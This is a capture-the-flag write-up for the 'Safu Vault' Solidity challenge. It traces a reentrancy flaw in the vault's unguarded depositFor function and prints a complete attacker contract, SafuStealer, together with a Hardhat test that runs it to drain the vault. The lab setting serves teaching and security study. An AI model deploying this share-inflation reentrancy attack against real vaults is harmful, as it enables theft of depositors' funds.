Safu Vault

blockchain
VM
m1gnus

Challenge description

Challenge 02 - Safu Vault

Safu Labs has just released their SafuVault, the safest yield generating vault of all time, or so their twitter account says.

Their SafuVault expects deposits of USDC and has already gotten 10,000 USDC from users.

You know the drill, drain the funds (at least 90%). You start with 10,000 USDC.

source

Attachments

To solve the challenge, we were provided with the complete source code of the vulnerable contract and a .ts file (a unit test file) used to invoke the exploit. It will then verify that the challenge has been solved.

File sha1
safu-vault-contracts.tar 7cf2a5225e611bff70a1fc5a8404d79e43538e71
safu-vault-test.ts 5e02d3bc908cf4d437be80411c66e3ee64742fd3

Foothold

The challenge is solved if the attacker account manages to drain at least 90% of the funds. The challenge simulates the behavior of a yield generator: users can deposit funds that will be "put to work" to generate revenues.

The main logic is contained inside the SafuVault contract, while the "strategy" to generate revenue is simulated in SafuStrategy.sol. The idea is that a user can deposit something via the SafuVault contract, obtaining some "shares" of the fund based on the deposit done by the user and the fund size. The method used to perform the deposit operation is deposit:

/// @dev entrypoint of funds into the system
/// @dev people deposit with this function into the vault
function deposit(uint256 _amount) public nonReentrant {
    strategy.beforeDeposit();

    uint256 _pool = balance();
    want().safeTransferFrom(msg.sender, address(this), _amount);
    earn();
    uint256 _after = balance();
    _amount = _after - _pool; // Additional check for deflationary tokens

    uint256 shares;
    if (totalSupply() == 0) {
        shares = _amount;
    } else {
        shares = (_amount * totalSupply()) / (_pool);
    }
    _mint(msg.sender, shares);
}

To ensure that the correct amount of tokens is used, even in the case of deflationary tokens, the calculation is performed after the execution of the transfer operation. The number of shares to be minted for the user is derived from the result of shares minted, the total balance of the vault system and the supplied amount of tokens.

There is another version of the deposit method, called depositFor:

/// @dev deposit funds into the system for other user
function depositFor(
    address token,
    uint256 _amount,
    address user
) public {
    strategy.beforeDeposit();

    uint256 _pool = balance();
    IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
    earn();
    uint256 _after = balance();
    _amount = _after - _pool; // Additional check for deflationary tokens

    uint256 shares;
    if (totalSupply() == 0) {
        shares = _amount;
    } else {
        shares = (_amount * totalSupply()) / (_pool);
    }
    _mint(user, shares);
}

The main differences are:

  • The nonReentrant modifier isn't applied to depositFor
  • The method depositFor takes a contract as an argument, used as an IERC20 contract.

The nonReentrant modifier, as found in the official documentation:

Prevents a contract from calling itself, directly or indirectly. Calling a nonReentrant function from another nonReentrant function is not supported. It is possible to prevent this from happening by making the nonReentrant function external, and making it call a private function that does the actual work.

This modifier therefore prevents recursive calls to the function, which can pose security risks similar to the ones caused by race conditions.

The funds can be withdrawn using the withdraw and withdrawAll methods.

Building the exploit

The property, called reentrancy can be exploited in the following way: if we manage to make some recursive calls to depositFor, then we can deceive the statement calculating the given amount of tokens by increasing it, and consequently increase the shares obtained. When the correct amount of shares is obtained, they can be converted to tokens by calling withdrawAll:

uint256 _pool = balance(); // Calculate balance before the transfer operation
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); // Makes recursive calls to the method, so that the actual balance increase
earn();
uint256 _after = balance();
 _amount = _after - _pool; // the amount is greater than the one provided by the user

To perform the attack, the methods depositFor, transferFrom and safeTransferFrom are implemented by a smart contract to be used as an ERC20 class. safeTransferFrom is defined as follows:

function safeTransferFrom(
    IERC20 token,
    address from,
    address to,
    uint256 value
) internal {
    _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}

Follows the contract that implements the attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface ISafuVault {
    function depositFor(
        address token,
        uint256 _amount,
        address user
    ) external;
    function withdrawAll() external;
}

contract SafuStealer {
    uint256 loops;
    IERC20 immutable token;
    ISafuVault immutable safuVault;

    constructor (
        address tokenAddress,
        address safuVaultAddress
    ) {
        token = IERC20(tokenAddress);
        safuVault = ISafuVault(safuVaultAddress);
    }

    function steal() external {
        uint256 amount = token.balanceOf(address(this)) / 10; // 10 iterations is fine
        safuVault.depositFor(address(this), amount, address(this));
        safuVault.withdrawAll();
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 amount
    ) external {
        _from; _to; // Remove "unused variable" compiler warnings
        if (loops++ < 10) {
            token.transfer(msg.sender, amount);
            safuVault.depositFor(address(this), amount, address(this));
        }
    }
}

Follows the modified unit test file:

import { expect } from "chai";
import { Contract, Signer, BigNumber } from "ethers";
import { ethers } from "hardhat";

const BN = BigNumber;
let precision = BN.from(10).pow(18);

let accounts: Signer[];
let attacker: Signer;
let o1: Signer;
let o2: Signer;
let admin: Signer; // should not be used
let usdcAdmin: Signer; // should not be used
let usdc: Contract; // USDC contract
let safuVault: Contract;
let safuStrategy: Contract;

/// preliminary state
before(async () => {

  accounts = await ethers.getSigners();
  [attacker, o1, o2, admin, usdcAdmin] = accounts;

  let usdcFactory = await ethers.getContractFactory('Token')
  usdc = await usdcFactory.connect(usdcAdmin).deploy('USDC','USDC')

  // attacker gets 10,000 USDC as starting funds
  await usdc.connect(usdcAdmin).mintPerUser(
    [await attacker.getAddress(), await admin.getAddress()],
    [precision.mul(10_000), precision.mul(10_000)]
  )

  let safuStrategyFactory = await ethers.getContractFactory('SafuStrategy')
  safuStrategy = await safuStrategyFactory.connect(admin).deploy(usdc.address)

  let safuVaultFactory = await ethers.getContractFactory('SafuVault')
  safuVault = await safuVaultFactory.connect(admin).deploy(safuStrategy.address,'LP Token','LP')

  await safuStrategy.connect(admin).setVault(safuVault.address)

  // other user deposits 10_000 USDC into the safu yield vault
  await usdc.connect(admin).approve(safuVault.address,ethers.constants.MaxUint256)
  await safuVault.connect(admin).depositAll()

});

it("solves the challenge", async function () {
  const stealerFactory = await ethers.getContractFactory('SafuStealer');
  const stealer = await stealerFactory.connect(usdcAdmin).deploy(usdc.address, safuVault.address);
  usdc.connect(attacker).transfer(stealer.address, precision.mul(10_000));
  stealer.connect(attacker).steal();
});

/// expected final state
after(async () => {

  // attacker drains >= 90% of funds
  let totalVaultFunds = (await usdc.balanceOf(safuVault.address)) + (await usdc.balanceOf(safuStrategy.address))
  expect(totalVaultFunds).to.be.lte(precision.mul(1_000))
  expect(await usdc.balanceOf(await attacker.getAddress())).to.be.gte(precision.mul(19_000))

});